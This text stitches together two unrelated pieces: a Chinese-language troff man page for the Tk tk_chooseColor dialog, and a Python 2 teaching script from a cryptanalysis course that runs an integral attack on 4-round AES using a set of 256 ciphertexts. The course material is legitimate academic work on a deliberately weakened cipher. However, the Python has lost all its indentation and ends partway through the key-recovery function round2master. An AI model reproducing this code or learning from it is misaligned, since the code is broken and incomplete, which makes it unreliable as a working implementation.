'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH tk_chooseColor 3tk 4.2 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
tk_chooseColor \- 弹出用于用户选择颜色的一个对话框。
.PP
.SH "总览 SYNOPSIS"
\fBtk_chooseColor \fR?\fIoption value ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
过程 \fBtk_chooseColor\fR 弹出让用户选择一种颜色的一个对话框。下列成对的选项和值是这个命令的可能的命令行参数:
.TP
\fB\-initialcolor\fR \fIcolor\fR
指定在颜色对话框弹出的时候在其中显示的颜色。\fIcolor\fR 的必须是 \fB Tk_GetColor \fR 函数可以接受的形式。
.TP
\fB\-parent\fR \fIwindow\fR
使 \fIwindow\fR 成为颜色对话框逻辑上的父窗口。颜色对话框在其父窗口中显示。
.TP
\fB\-title\fR \fItitleString\fR
指定一个字符串作为这个对话框的标题来显示。如果未指定这个选项,则显示缺省的标题。
.LP
如果用户选择了一个颜色,\fBtk_chooseColor\fR 将以能被 \fBTk_GetColor \fR所接受形式返回的颜色的名字。如果用户取消了这个操作,命令将返回空串。
.SH "示例 EXAMPLE"
.CS
button .b \-fg [tk_chooseColor \-initialcolor gray \-title "Choose color"]
.CE
.SH "关键字 KEYWORDS"
color selection dialog
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
##############################################################
# This is a utility file to help with laboratory exercises in
# the "Understanding Cryptology: Cryptanalysis" course offered
# by Dr. Kerry McKay
# Hosted at OpenSecurityTraining.info under a CC BY-SA license
# http://creativecommons.org/licenses/by-sa/3.0/
##############################################################
# Integral attack exercise
# This attack is on a 4-round variant of AES
# This code is written for understanding, not efficiency
ciphertexts = [
'd2e2579eee1fe0dd39458d5a3f4e9765', 'bba3808c6694c5b9c72b18ad8d9a1f78',
'46c756747a76d38a794a8c05de7e3cca', '59c6d4dfec3c316598a2d21d3307461b',
'd0b792fb87c20b8fb7935d7dd0dc2881', 'a32ca29fdd54ab75b7aa2097508f0004',
'07bf9d81e39e0e0e2adf0a32b514befd', '38104bcb762b7318db3e57fd5bf75d4c',
'24dce2f37526f111e177f39c40a523ba', '9e9b4181d109ae159c7ed10cc5bb0564',
'7336ac3c4d7dda2afb29e4083d0f1c8e', '0d1ea5c49482794f1b62f652b5015d34',
'4dddb99fa88362d8e0ca2c178a6f462b', '211dc2d04cf5662f6bde3f35d0315fa8',
'd079d71aa68dddf43bd192492f5fa910', '6de5c80099c0a7034c8551581de41d26',
'8fa472d951142efe169d8b1313b64ea4', '28e76d17c7fef6099ce59833add815c3',
'16beded41805822ec24a797b05c58540', 'db8ef6a8f40bdadc1babe57b2400483d',
'2ba2947dc5a11d21611731f0a6174cfa', '639eb88af8fae1c50098d424b89a7759',
'b11c880f9b7d213cd9d600f6d519af1f', '2ebaaf1b1492d16ba5d4c08d06d45f7c',
'27e56c9cf0c8d2ac33327a42afd8503e', '9a4a585f3d28a2886ca56da329d01759',
'c76831f7f9b88ffc349be7e1678c3353', '7923bccdd7d6bbd193b8a2ad7ed3b899',
'b4e5a0ba35b62bcd0d8b589556c868f9', '1cd0f626bad01ea46a62f014f2d24c7a',
'0e9ecc68638285e52de96cf62eaa1a7f', '6051de722122db40e04aa2ff0bf7446a',
'8501f988e37b68506746ee36a9191502', '5ad84b54645c87d9ce727ede715ab52a',
'94b16ad4b58345958621bc5c0e852bce', '9e7fb595d457b23bcf47b8670842c631',
'76f25e155b4762c9c31cf804956b0cad', 'fc4dcedc5ba15a554bdd6d44db5f1d8a',
'57042f538d4749506851546b12a57769', '40bb26c71a20cee9f9313cc0f89bd6b9',
'6a4d80b9a221287552c455d0ddde44b9', '4c944d5c5bb9eea0955d512ca8975e89',
'f5d3568aa57f1f3b0047070e20e7a15a', 'ee17e4dff8ef058000700ca28b50ee0a',
'5eb6159d62048ace8d2f8cf30fbd8e2f', '4d076e5a5c9c1586eba62a0ba120b82a',
'4845025a045f90d27e76afbca9e240a4', '6910fbbb4064bded3597f3b40177e844',
'a8e2dbca63387c989f98016bb5adbdcf', '8c4880a7aa26da3a0cba4e48d59439a0',
'f02ba82f05207879793f93baa2eee538', '9c601edb2f732de662cc533f9fee2ad2',
'bfadae3c642a81e180925ee639371044', '72d341e60da081add3e7be5af46828e3',
'15d29d375d5ae422c9060c8dd2b97b58', '367e1e18454c481919337900a392aef7',
'3ca6a6c39a0d6ccf349ab1872032cb81', '96817ac302ec824d73c227f5a3559304',
'0e5fd7f1ec6a910b4ff857f5012b6302', 'b9dde873b9703c43232890e9720c8ccd',
'c720bf79ef85dd10bef3149836f99895', '893e56c884a4a586c94b69c988c1e59e',
'813de149422c62261ff8ebdcd5ead962', '351c6cb07e490c93b9d4dc65d4d9cda8',
'68661ea5fb2ac2462dd515e1f3cdee59', 'a82019f9c55e7f419306592f40e0dbb0',
'78cecc405344cec1abc078129a802f02', '80cd98a1ae98cf058ac290d47da64dd8',
'f60f053fa90d84b6a70b3563125e924d', '7d49b1a134dcea7a54c0e15aa4c93f15',
'0cdeb7eae3b0b76533bcfd3b21c735ad', 'df4741395c4fd4c87fab473b87468c29',
'b24379fed496488c1735e912dae424e9', 'da218b3a232afdb40f9824d7f2f4fc62',
'2c8371ab9b2c00aaae39778dd48afc5c', '8e3d642a976c66674cae5d932ae3b9c6',
'608b88c42b949297db4e36b8c11c3151', '03cd8ad4d091cef0f7a9791045565027',
'eeb4b95ce3014bf243d504d765ba1a1b', '3bb95fc044485258f1bb9245b6316c51',
'a0af16bfb2f3e2fb37ca48c67de8af68', 'bebefa01d3a8b47244918b9e2f6cae30',
'986bfa7b48aa9167a71bbf9d77424790', '594c11718d6d73126066c0a1db153ce1',
'4f645779ad31bceee75eaa1e4737779a', '28fdd9c8ddd59a59f8721d72dc2bf1ac',
'cb6fcf3cc5cc8bfe39cdcd3ef0ac01c6', '15a24c14602b05b0e798292916b903d8',
'c61091776a03a37734cece7809748914', '894754fcc0897126766b4dffef4c7f6d',
'9a45820f77eb08ac35a5e0303191a9b1', '3334dd398240508fd498592784f6a219',
'600323397506794dc774090b6984c7e9', 'f75101a4dc353bb1e400b1693fbe38ee',
'7e64b2b004379c4d6a4485fac3709cdb', 'f787a1e99198437370c77b79fdea29b6',
'f5a0ab068978d94230f44439c7c8de80', '4ec1f7ee8a2fcdbd3b3149ea80dca93a',
'c27f38201668b87e9b22a3bef2150878', 'fc6bd3f1aeb2ab7b7335d1318ec22ae0',
'fd7bcbe36d120616011ccc5bd35e2e66', '859fdad75b5997e1bbb289c68b8da7b1',
'28711a2fbd3f834c0624c57bbfd6d9cb', '13562c7f1a774600c095ca941edff56a',
'563da100c32e0acc5bee435d3c276a25', '248c9e68c3732834d59eec369b2a7a01',
'f6b771761dde7146dcd1b271a6f745eb', 'fcaa3291675499315c8fd3e2a60c97fa',
'95e43eaed86473ffbba8828fb9bddbf5', 'ae60f76499f95f8317181f1c6b67825b',
'494af1a920878bc98a658b53807a4123', '95049028ceba7feda3761155ab26eddc',
'50ddb255399fa11678b0f752206dbb5e', '19d545375ad0045af88d1fcf5252bdfe',
'c493c3b01a172cbaf13171498a2d3d9a', '783c5c0d4c33ef356a8bc036bda4f1bc',
'f47f00421bdc03cc0a2deb2422c8a12d', '30f605767f74f3c033543b97246b4071',
'8751f348ab862d468bdde707e1189af1', 'ed00f6c796c53a8cce0758b48f6695e4',
'4293e6305e1c824c6a1a7dd7ed39d062', '63888ba7f2866013a45aa2f2982eb080',
'12410c0fe1db754289b47d2397298f29', '670e6a2bb48d5d5f6144a32ad7747027',
'6402a25c6b24889bef5d3ac99a8bf1b7', 'd95f7a3c36ab41f6fab2acea8ae17805',
'47a4e51b8a7902b6fc3eb27317398b13', '3a71a3854c2290f8f304518e0a767e07',
'1bc5c43a62713d0a6de36549a8578867', '53767bf22c52a57c9bf4786f386e175e',
'1b031788fdb8e623ba34fb4c2300d889', '624af405a57ec71c29f4546776877194',
'8f4d9ee8932d9cc992e50c41900ffb6c', 'e05254d61d8091221bb3536033105316',
'f0556188aea4e03a980ee9f4aa47d0a9', 'a1497d18796a4a83787e9c39d9b4e42c',
'51d16423473fd39eaaf50d5cb694cb1f', 'e8a849f16b95253c6e874d32e28d84e8',
'11a250981d047789dfd06db5e50b509e', 'fe8bba4c91bf31c0708281b3a49cca53',
'94755eea366755cdcbdc3c408ba55693', '034df3e83f4cdfb9dd8544fe859fd5fe',
'19ca93263c8ff4aad3447d546c5a84cd', 'f632c199d1ea1d18ce93581775876500',
'986dae3b6a25bec816fe61ba003e7888', '6e0a5659e6d0d249821f8982b0a42dc3',
'c61d2fa7edde7bb8f77b42d54b2a85a9', '615e9416ee6d3237e31204fe43b3792a',
'cb2b75790a6e00c977b7fd0dcac19d2d', 'd012fa94c7699ad70312ab236cce5aa5',
'd55d37fca3cbe59cf6ff89283bd6e0ba', '32cfb4aa3db0aa06e15f4a3274997361',
'27ac00d66c692dde172d6c486f075c32', '337b5e377b2f3c4405a786d2a990830e',
'c7ded36b8023a866afbdc5ad21f11e87', '61e22361c2eb8c1a9e3708483138fd6d',
'8a41495d3454080b20af7c0253ac796f', 'e1159cfc1d8351b410658626a9bedda2',
'3b4d7c30c20a46bb586fbf73de3c8aa3', '844c94bb452e1b1105e98194fcc9a372',
'28956b53e494ea22fb0ced08a2f3aa10', 'bb5da10d032c7425fba675ac7038dc04',
'39ef80dc8fb44fb095997bae308ad406', '0f85ca9ad4731ece44cd9c203778bdc1',
'2998733487cc999284f4963a02bb8fea', '68194e9a5d2a20464456c07b5958b839',
'c0f92afe59effe8f490993646a13d88f', 'b1ad2e33eb4c72a5819612a1b7a843f5',
'c5b7b4a28e26a7b3c2944f32952f1747', '5922540abf13bda1e67c27defa5b7e0a',
'ad983d034742856a5ed3d89c8b6e71d6', '0f7a02188cf53ec3c9a4788e2d3f0365',
'173958a0c6ae941bf1dc3d56d06068ab', '21eb6a57457ff21c6ea85a824ca9afdb',
'00470fd5ea50083c62ea8a73b3a1f81a', 'bbfd36b1098376d490b01d23c98f62de',
'b1ce6e00cf58c43809a7ea842166f5fd', 'ac1c4731702113212289792e93f9a4f2',
'a94eae502a4d416054a95b0be05a25ed', 'e71f031f5185d0411f7fdf897db0be6c',
'9a121751e844cfea7287888457978e4f', '710833ce83c0169d34b061c3c4585ec2',
'11b4e0b7eaea60db7a448dd4623613f8', '333e0691ed73925b3a37a92b9f1f4cc9',
'24161cb017d81454e7b5d5df47b1283e', 'fbf675a4c9866862dcc358b59dec7002',
'96d85ef181b32dcb983806e30adc53d4', '4303ce6ae615044dc3ffc0eaa5617786',
'28969c04a18ffd8c10656462c2cbabf0', 'eddd0ccbee18e89d2ec2252da4eeca58',
'8a6e66c7eef29bd0c33d4a15c6110e30', 'c51e70475564379d8b279476e22cce0d',
'0bcf00498d3bee625813ceb08639d70a', '6b7a451d5e023ffcad7cee92298d0439',
'0966ee2a6c0dfcaffdb0e7006cb80b78', '1af91667cc2c83fc1baa2507166cd731',
'd01a69b6374217664303026b42eaa3be', 'a1d19c7a27d983270bf8a25bdedd135a',
'54cad482cbf1a741ff0e91d8fb0ec6a6', '64354b72a39b132b0e1f9203aaa7e0be',
'6951c6b145e06a49e2e87f2e8aef10ce', '5c77789040446a608f8f316de83664b2',
'94daea57aba81b19de868e423be7cf51', '009a2116045b9a762f17505139e06e23',
'92b731fed4e27b0db5a68ce827998845', '0a4fe78a63ce9722b6bab7218038c418',
'f9117dab5d3070ceea302d47493ab11e', 'c96b432945664c87490a56147c017b05',
'1adeb43900c2bb2f4b72883e674b19dd', '587e43fcf2920fcf2d9533ddd33ffa0f',
'9ff6fa8bddbefd5bead7d7574131530a', '83f298db96474aa90b5f4339dbc5eac1',
'5ccbd456c4e71d86c16f45e506a2f579', 'cf0f60a069ec03b8fc4a3e6b8d61e7a1',
'b35779643517300bc32068bdaeb97721', '50f85e4eae2475fa6d0b84e95380a994',
'9a8fe142dcfeb682b728a220f0e087ad', '5f9b5d33b9e6123c8553b82bbd7c4354',
'f162849e666d691b031bc0eabdb6cb0a', 'e1c53f4fbe008ad498e7e891769647a3',
'59d854f4664316fe276e6a80cfbe2202', '5d033a81dff2a9ac88990432c8af50c5',
'3dd2e6d89db696c32c96a999dd6240ba', '93fadd94e4163b81aa44b2bb0502d32f',
'cb177cb822b71c0fdf6f5612d1c294f5', 'eddd3b0d0b602a7ccd7a0470a7d65676',
'056b048bc9516924c67b16665aacb467', 'fc3996f3c95df19d5686497e52825ed5',
'fa69257a5891558cb96c2fe5ce8976bf', 'f0b607e9c54e6270266322b6001d5391',
'b2b61c9ceb04e408e39e02331f41551b', 'e157ef915827e1b4e6b08a39689930e5',
'd74b8d8c11db47af023185a6390e1692', '8e646c32e894e206873fd5a0908a2249',
'773b3976a415c0f9eed1eff8c0b91be6', '5df1c29cf06c3a0498456ef664e48e80',
'4c429f6f9fa8a75b64b4ad2ac292f2d4', '1af8b79dff437b8a0d2ea9523e468712',
'b4eb0a344ce673a542c79d39956da4b6', '224e8082bb374652d25361e56d19ec88',
'bb7ff43454779adb1b160d8e7a12963f', '54e9082ed484c6a6ccd8c4b690cf697d',
'1b194681f6ef47a5ce49c20de0a08421', '1673503d55471f634d57e464ab39f557',
'a02edc8703816e5c70f2fa647292c39c', 'b569bc455248cabc754ab427f406dafc',
'62e2f2058133c157e134961107b9ee83', '6507a19f3f0725ad98a1c96a67d89237',
'45c67552632288c31f6c812df2f1a033', '71ae9cb8afcc54c1414fbd68dd3493c4',
'b745d1637383e808d01989d901c456a4', '6b9a575eb30a286571644053cab7d9ef',
'2a4674be0bb586645ac939b741a81450', '17d45682137f0e1a1d16cee83ac601a6',
'97c09c268d9b91c4e7c92479ecac6953', 'bf3e737e4f894737ffa148d75b840884' ]
ciphertexts = [[ord(c) for c in x.decode('hex')] for x in ciphertexts]
sbox = (0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc,
0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a,
0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b,
0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85,
0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17,
0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88,
0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9,
0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6,
0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94,
0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68,
0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16)
invsbox = []
for i in range(256):
invsbox.append(sbox.index(i))
def SubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = sbox[state[i][j]]
return state
def InvSubBytes(state):
state = [list(c) for c in state]
for i in range(len(state)):
row = state[i]
for j in range(len(row)):
state[i][j] = invsbox[state[i][j]]
return state
def rowsToCols(state):
cols = []
#convert from row representation to column representation
cols.append([state[0][0], state[1][0], state[2][0], state[3][0]])
cols.append([state[0][1], state[1][1], state[2][1], state[3][1]])
cols.append([state[0][2], state[1][2], state[2][2], state[3][2]])
cols.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return cols
def colsToRows(state):
rows = []
#convert from column representation to row representation
rows.append([state[0][0], state[1][0], state[2][0], state[3][0]])
rows.append([state[0][1], state[1][1], state[2][1], state[3][1]])
rows.append([state[0][2], state[1][2], state[2][2], state[3][2]])
rows.append([state[0][3], state[1][3], state[2][3], state[3][3]])
return rows
###########
# Key schedule functions
###########
# key schedule helper function
def RotWord(word):
r = []
r.append(word[1])
r.append(word[2])
r.append(word[3])
r.append(word[0])
return r
# key schedule helper function
def SubWord(word):
r = []
r.append(sbox[word[0]])
r.append(sbox[word[1]])
r.append(sbox[word[2]])
r.append(sbox[word[3]])
return r
# key schedule helper function
def XorWords(word1, word2):
r = []
for i in range(len(word1)):
r.append(word1[i] ^ word2[i])
return r
def printWord(word):
str = ""
for i in range(len(word)):
str += "{0:02x}".format(word[i])
print str
Rcon = [[0x01,0x00,0x00,0x00], [0x02,0x00,0x00,0x00], [0x04,0x00,0x00,0x00],
[0x08,0x00,0x00,0x00], [0x10,0x00,0x00,0x00], [0x20,0x00,0x00,0x00],
[0x40,0x00,0x00,0x00], [0x80,0x00,0x00,0x00],[0x1B,0x00,0x00,0x00],
[0x36,0x00,0x00,0x00]]
# key is a 4*Nk list of bytes, w is a Nb*(Nr+1) list of words
# since we're doing 4 rounds of AES-128, this means that
# key is 16 bytes and w is 4*(4+1) words
def KeyExpansion(key):
Nk = 4
Nb = 4
Nr = 4
temp = [0,0,0,0]
w=[]
for i in range(Nb*(Nr+1)):
w.append([0,0,0,0])
i = 0
#the first word is the master key
while i<Nk:
w[i] = [key[4*i],key[4*i+1], key[4*i+2], key[4*i+3]]
#printWord(w[i])
i = i+1
i=Nk
while i < (Nb*(Nr+1)):
#print "Round ", i
temp = w[i-1]
#printWord(temp)
if (i % Nk) == 0:
#print "Rcon: ", printWord(Rcon[i/Nk-1])
#printWord(RotWord(temp))
#printWord(SubWord(RotWord(temp)))
temp = XorWords(SubWord(RotWord(temp)), Rcon[i/Nk-1])
#print "After XOR with Rcon:"
#printWord(temp)
#printWord(temp)
#printWord(w[i-Nk])
w[i] = XorWords(w[i-Nk], temp)
i = i+ 1
return w
def Shiftrows(state):
state = colsToRows(state)
#move 1
state[1].append(state[1].pop(0))
#move 2
state[2].append(state[2].pop(0))
state[2].append(state[2].pop(0))
#move 3
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
state[3].append(state[3].pop(0))
return rowsToCols(state)
def InvShiftrows(state):
state = colsToRows(state)
#move 1
state[1].insert(0,state[1].pop())
#move 2
state[2].insert(0,state[2].pop())
state[2].insert(0,state[2].pop())
#move 3
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
state[3].insert(0,state[3].pop())
return rowsToCols(state)
#converts integer x into a list of bits
#least significant bit is in index 0
def byteToBits(x):
r = []
while x>0:
if (x%2):
r.append(1)
else:
r.append(0)
x = x>>1
#the result should have 8 bits, so pad if necessary
while len(r) < 8:
r.append(0)
return r
#inverse of byteToBits
def bitsToByte(x):
r = 0
for i in range(8):
if x[i] == 1:
r += 2**i
return r
# Galois Multiplication
def galoisMult(a, b):
p = 0
hiBitSet = 0
for i in range(8):
if b & 1 == 1:
p ^= a
hiBitSet = a & 0x80
a <<= 1
if hiBitSet == 0x80:
a ^= 0x1b
b >>= 1
return p % 256
#single column multiplication
def mixColumn(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],2) ^ galoisMult(temp[3],1) ^ \
galoisMult(temp[2],1) ^ galoisMult(temp[1],3)
column[1] = galoisMult(temp[1],2) ^ galoisMult(temp[0],1) ^ \
galoisMult(temp[3],1) ^ galoisMult(temp[2],3)
column[2] = galoisMult(temp[2],2) ^ galoisMult(temp[1],1) ^ \
galoisMult(temp[0],1) ^ galoisMult(temp[3],3)
column[3] = galoisMult(temp[3],2) ^ galoisMult(temp[2],1) ^ \
galoisMult(temp[1],1) ^ galoisMult(temp[0],3)
return column
def MixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumn(cols[i])
return r
def mixColumnInv(column):
temp = []
for i in range(len(column)):
temp.append(column[i])
column[0] = galoisMult(temp[0],0xE) ^ galoisMult(temp[3],0x9) ^ galoisMult(temp[2],0xD) ^ galoisMult(temp[1],0xB)
column[1] = galoisMult(temp[1],0xE) ^ galoisMult(temp[0],0x9) ^ galoisMult(temp[3],0xD) ^ galoisMult(temp[2],0xB)
column[2] = galoisMult(temp[2],0xE) ^ galoisMult(temp[1],0x9) ^ galoisMult(temp[0],0xD) ^ galoisMult(temp[3],0xB)
column[3] = galoisMult(temp[3],0xE) ^ galoisMult(temp[2],0x9) ^ galoisMult(temp[1],0xD) ^ galoisMult(temp[0],0xB)
return column
def InvMixColumns(cols):
#cols = rowsToCols(state)
r = [0,0,0,0]
for i in range(len(cols)):
r[i] = mixColumnInv(cols[i])
return r
#state s, key schedule ks, round r
def AddRoundKey(s,ks,r):
for i in range(len(s)):
for j in range(len(s[i])):
s[i][j] = s[i][j] ^ ks[r*4+i][j]
return s
########
# Encrypt functions
#########
# for rounds 1-3
def oneRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = MixColumns(s)
s = AddRoundKey(s,ks,r)
return s
def oneRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvMixColumns(s)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# round 4 (no MixColumn operation)
def finalRound(s, ks, r):
s = SubBytes(s)
s = Shiftrows(s)
s = AddRoundKey(s,ks,r)
return s
def finalRoundDecrypt(s, ks, r):
s = AddRoundKey(s,ks,r)
s = InvShiftrows(s)
s = InvSubBytes(s)
return s
# Put it all together
def encrypt4rounds(message, key):
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#printState(s)
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
s = AddRoundKey(s,ks,0)
#printState(s)
c = oneRound(s, ks, 1)
c = oneRound(c, ks, 2)
c = oneRound(c, ks, 3)
#printState(c)
c = finalRound(c, ks, 4)
#printState(c)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
def swapRows(rows):
result = []
for i in range(4):
for j in range(4):
result.append(rows[j*4+i])
return result
def decrypt4rounds(message, key):
#message = swapRows(message)
s = []
#convert plaintext to state
s.append(message[:4])
s.append(message[4:8])
s.append(message[8:12])
s.append(message[12:16])
#printState(s)
#compute key schedule
ks = KeyExpansion(key)
#apply whitening key
#printState(s)
s = finalRoundDecrypt(s, ks, 4)
c = oneRoundDecrypt(s, ks, 3)
c = oneRoundDecrypt(c, ks, 2)
c = oneRoundDecrypt(c, ks, 1)
c = AddRoundKey(c,ks,0)
#printState(c)
#printState(c)
#convert back to 1d list
output = []
for i in range(len(c)):
for j in range(len(c[i])):
output.append(c[i][j])
return output
testCt = range(16)
testState = []
testState.append(testCt[:4])
testState.append(testCt[4:8])
testState.append(testCt[8:12])
testState.append(testCt[12:16])
key = [0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c]
ks = KeyExpansion(key)
textData = [0]*16
assert AddRoundKey(AddRoundKey(testState, ks, 1), ks, 1) == testState
assert InvMixColumns(MixColumns(testState)) == testState
assert InvShiftrows(Shiftrows(testState)) == testState
assert InvSubBytes(SubBytes(testState)) == testState
assert oneRoundDecrypt(oneRound(testState, ks, 1), ks, 1) == testState
assert finalRoundDecrypt(finalRound(testState, ks, 1), ks, 1) == testState
assert decrypt4rounds(encrypt4rounds(textData, key), key) == textData
#########################
# Attack code goes here #
#########################
def backup(ct, byteGuess, byteIndex):
# We just need to check sums
# There is no mixColumns in the last round, so skip it.
# shiftRows just changes the byte's position. We don't care, so skip it.
# All we need is a single xor for the guessed byte, and InvSubBytes
t = ct[byteIndex] ^ byteGuess
return invsbox[t]
def integrate(index):
if len(ciphertexts) != 256:
print "ERROR"
potential = []
for candidateByte in range(256):
sum = 0
for ciph in ciphertexts:
oneRoundDecr = backup(ciph, candidateByte, index)
sum ^= oneRoundDecr
if sum == 0:
potential.append(candidateByte)
return potential
from itertools import product
def integral():
candidates = []
for i in range(16):
candidates.append(integrate(i))
print 'candidates', candidates
for roundKey in product(*candidates):
masterKey = round2master(roundKey)
plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey))
if '\0\0\0\0' in plain:
print 'solved', masterKey
return masterKey
# Calculate the master key candidate from the final round key candidate
def round2master(rk):
Nr=4
Nk=4
Nb=4
w = []
for i in range(Nb*(Nr+1)):
w.append([0,0,0,0])
i=0
while i<Nk:
w[i] = [rk[4*i],rk[4*i+1], rk[4*i+2], rk[4*i+3]]
#printWord(w[i])
i = i+1
j = Nk
while j < Nb*(Nr+1):
if (j%Nk) == 0:
#print w[j-1],w[j-2]
#tmp = SubWord(XorWords(w[j-1], w[j-2]))
#w[j] = XorWords(XorWords(w[j-Nk], tmp), Rcon[Nr+1-j/Nk])
#print "rcon: ", printWord(Rcon[Nr + 1 - j/Nk])
